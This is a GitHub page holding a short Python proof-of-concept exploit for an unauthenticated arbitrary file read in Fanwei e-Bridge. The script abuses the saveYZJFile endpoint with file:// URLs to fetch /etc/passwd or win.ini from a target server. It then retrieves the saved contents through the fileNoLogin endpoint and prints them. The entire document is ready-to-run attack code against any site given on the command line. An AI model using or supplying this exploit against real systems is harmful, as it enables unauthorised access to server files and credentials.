-
Notifications
You must be signed in to change notification settings - Fork 75
/
fanwei-ebridge-saveyzjfile-fileread.py
46 lines (35 loc) · 1.27 KB
/
fanwei-ebridge-saveyzjfile-fileread.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#author: myh0st@xazlsec
import requests
import urllib3
import sys
import time
import json
import re
urllib3.disable_warnings()
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15"}
def check(url):
r = requests.get(url, headers=burp0_headers, verify=False)
if r.status_code == 200 and "name" in r.json():
return r.json()["id"]
return ""
def verify(site):
win_url = site + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/windows/win.ini&fileExt=txt"
lin_url = site + "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
rid = check(win_url)
if rid != "":
url = site + "/file/fileNoLogin/" + rid
return requests.get(url, headers=burp0_headers, verify=False).text
rid = check(lin_url)
if rid != "":
url = site + "/file/fileNoLogin/" + rid
return requests.get(url, headers=burp0_headers, verify=False).text
return ""
if __name__=="__main__":
target = sys.argv[1]
info = verify(target)
if info != "":
print("[+]漏洞存在,获取到的内容为:", info)
else:
print("[-]漏洞不存在")